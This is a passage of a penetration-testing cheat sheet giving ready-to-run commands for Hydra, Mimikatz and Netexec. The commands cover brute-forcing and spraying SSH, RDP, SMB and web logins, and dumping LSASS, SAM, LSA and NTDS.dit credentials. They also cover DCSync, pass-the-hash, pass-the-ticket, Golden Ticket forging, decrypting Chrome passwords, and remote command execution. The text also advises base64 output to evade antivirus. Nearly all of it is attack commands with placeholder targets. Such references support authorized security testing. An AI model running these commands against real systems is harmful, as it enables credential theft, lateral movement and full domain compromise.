  • Hash Mode: Always specify the correct -m mode for your hash type. Use hashid or check the hash format to determine the mode.
  • Wordlists: Common wordlists include rockyou.txt, SecLists, and custom wordlists generated from OSINT.
  • Rules: Start with best64.rule for quick results, then move to more comprehensive rules if needed.
  • Performance: Use -w 3 or -w 4 for faster cracking (uses more resources). Use -O for optimized kernels (may limit password length).
  • GPU Acceleration: Hashcat automatically uses GPU if available. Ensure proper drivers are installed.
  • Resume Sessions: Hashcat saves progress automatically. Use --restore to resume interrupted sessions.
  • Output: Cracked passwords are saved to ~/.hashcat/hashcat.potfile by default.

Hydra

Hydra is a parallelized login cracker that supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add.

Core Flags

-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)
-t <N>  : Number of parallel tasks (threads)
-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file

Protocol-Specific Examples

SSH / FTP / RDP / SMB

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt ssh://<TARGET>:<PORT> -f -V -o hydra_ssh_login.txt

# FTP brute-force
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>

# RDP brute-force
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>

# SMB brute-force
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

Web Forms (HTTP-POST)

Syntax: "/path:body:F=FailureString"

  • Use ^USER^ and ^PASS^ as placeholders
  • Check Burp Suite for body structure
  • F=FailureString specifies the failure response text to detect failed logins
# Web Login brute-force (ONLINE - use small wordlist to avoid lockouts)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" -VF -o hydra_web_login.txt

# Generic web form
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid password" -V -f

WordPress Specific

# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# Alternative WordPress syntax
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# SSH password spraying (1 password vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>

# Web form password spraying
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Important Notes

  • Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
  • Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
  • Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
  • Output: Always use -o <OUTPUT_FILE> to save results for later analysis.

Mimikatz

Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

Important Notes

  • Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
  • Administrator Required: Mimikatz typically needs administrator privileges to function
  • LSASS Access: Many operations read from LSASS memory, which is protected by Windows
  • Detection: Mimikatz is heavily flagged by security products and EDR solutions
  • Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
  • Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
  • Ticket Files: Exported Kerberos tickets use .kirbi format
  • Domain Syntax: Use “.” for domain when targeting local machine accounts

Basic Usage & Privilege Escalation

# Launch Mimikatz (via SMB share)
\\tsclient\share\mimikatz.exe

# Enable debug privilege (required for most operations)
privilege::debug

# Elevate token to SYSTEM
token::elevate

# Write to console in bae64 (avoid AV flagging)
base64 /out:true

Credential Dumping

LSASS Memory (sekurlsa)

Dump All Credentials:

# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)
sekurlsa::logonpasswords

Dump Specific Hash Types:

# Dumps only LM/NTLM hashes
sekurlsa::msv

Export Kerberos Tickets:

# Avoid AV flagging
base64 /out:true

# Export Kerberos Tickets (TGT/TGS) to disk
sekurlsa::tickets /export
# $ : machine tickets (computers)
# @ : service tickets (users)

Extract AES Keys:

# Extract AES Keys for Pass the Key attacks
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

SAM Database

# Dumps local SAM database (local user hashes)
lsadump::sam

LSA Secrets

# Dumps LSA Secrets (cached domain credentials, service account passwords, etc.)
lsadump::lsa /patch

Dump Specific Account:

# Dump specific account (e.g., KRBTGT for Golden Ticket)
lsadump::lsa /inject /name:krbtgt

DCSync (Remote):

# Remotely dump account from Domain Controller
lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

DCSync

Might require runas.

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>" exit

Pass the Hash (PtH)

Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe" exit

Alternative Syntax:

sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exe

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Extract AES Keys First:

.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

Pass the Key with AES:

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Pass the Ticket (PtT)

Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.

Export Tickets:

# Export tickets from memory to .kirbi files
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

Inject Ticket:

# Inject ticket into current session
.\mimikatz.exe "kerberos::ptt <TICKET_FILE.kirbi>" "misc::cmd" exit

Golden Ticket Attack

A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.

Step 1: Get KRBTGT Hash & SID

Method A (On DC):

lsadump::lsa /inject /name:krbtgt

Method B (Remote DCSync):

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Step 2: Create & Inject Ticket

# /ptt immediately injects it into memory. /id:500 makes you fake-admin.
kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM> /id:500 /ptt

Step 3: Launch Shell

# Launch shell (Optional, or just use current shell if /ptt was used)
misc::cmd

Credential Manager

Dump credentials stored in Windows Credential Manager:

\\tsclient\share\mimikatz.exe
privilege::debug
sekurlsa::credman

DPAPI (Data Protection API)

Decrypt data protected by Windows DPAPI, such as browser credentials:

mimikatz.exe
dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Netexec

Netexec (formerly CrackMapExec) is a swiss army knife for pentesting networks. It’s a network exploitation tool that helps automate assessing the security of large networks by providing tactics and techniques for testing security controls in an Active Directory environment.

Password Policy Enumeration

Enumerate password policy information via SMB:

# Anonymous password policy enumeration
netexec smb <TARGET> --pass-pol

# Authenticated password policy enumeration
netexec smb <TARGET> -u <USER> -p <PASS> --pass-pol

User Enumeration

Enumerate Users

# Enumerate users via SMB (anonymous or authenticated)
netexec smb <TARGET> --users

# Authenticated user enumeration
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --users

Enumerate Groups

# Enumerate groups
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups

# Find high value users (e.g., Domain Admins)
netexec smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"

Share Enumeration

# List available shares
netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# Check netexec -h for services
# Password spraying (many users vs 1 password)
netexec smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'

# Local authentication (tries local authentication instead of domain authentication)
# Mitigated with: https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
netexec smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

Pass the Hash (PtH)

Netexec supports pass-the-hash attacks for lateral movement:

# Target can also be a subnet (CIDR)
# -d . = Local Account | -d <DOMAIN> = Domain Account
# --local-auth forces local check if implied domain fails
# :<PASS_HASH> implies empty LM hash (LM:NT)
netexec smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth

# Domain account with hash
netexec smb <TARGET> -u <USER> -d <DOMAIN> -H <PASS_HASH>

Credential Dumping

LSA Secrets

Remotely dump LSA secrets from a target:

# Dump LSA secrets remotely
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa

SAM Database

Remotely dump SAM database secrets:

# Dump SAM secrets remotely
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --sam

Active Directory Operations

Verify Credentials

# Verify credentials against a domain controller
netexec smb <DC_IP> -u <USER> -p <PASSWORD>

# Execute command with verified credentials
sudo netexec smb <DC_IP> -u <USER> -p <PASSWORD> -x '<COMMAND>'

NTDS.dit Extraction

Extract the NTDS.dit file (keys of the kingdom) from a domain controller:

# Extract NTDS.dit using ntdsutil module
netexec smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

LDAP Operations

Admin Count Enumeration

Find high-value users with adminCount=1 (includes Domain Admins, Enterprise Admins, Backup Operators, etc.):

# Enumerate users with adminCount=1 via LDAP
netexec ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

Command Execution

Command Execution (-x, -X) or Relaying: Sudo is REQUIRED because these operations act as a server/listener.

Execute commands on remote systems:

# Execute command on target
sudo netexec smb <TARGET> -u <USER> -p <PASSWORD> -x '<COMMAND>'

# Execute command with domain credentials
sudo netexec smb <DC_IP> -u <USER> -p <PASSWORD> -x '<COMMAND>'

Protocol Selection

Netexec supports multiple protocols. Check available services with:

netexec -h

Common protocols include:

  • smb - SMB/CIFS protocol
  • ldap - LDAP protocol
  • winrm - Windows Remote Management
  • ssh - SSH protocol
  • mssql - Microsoft SQL Server
  • And many more…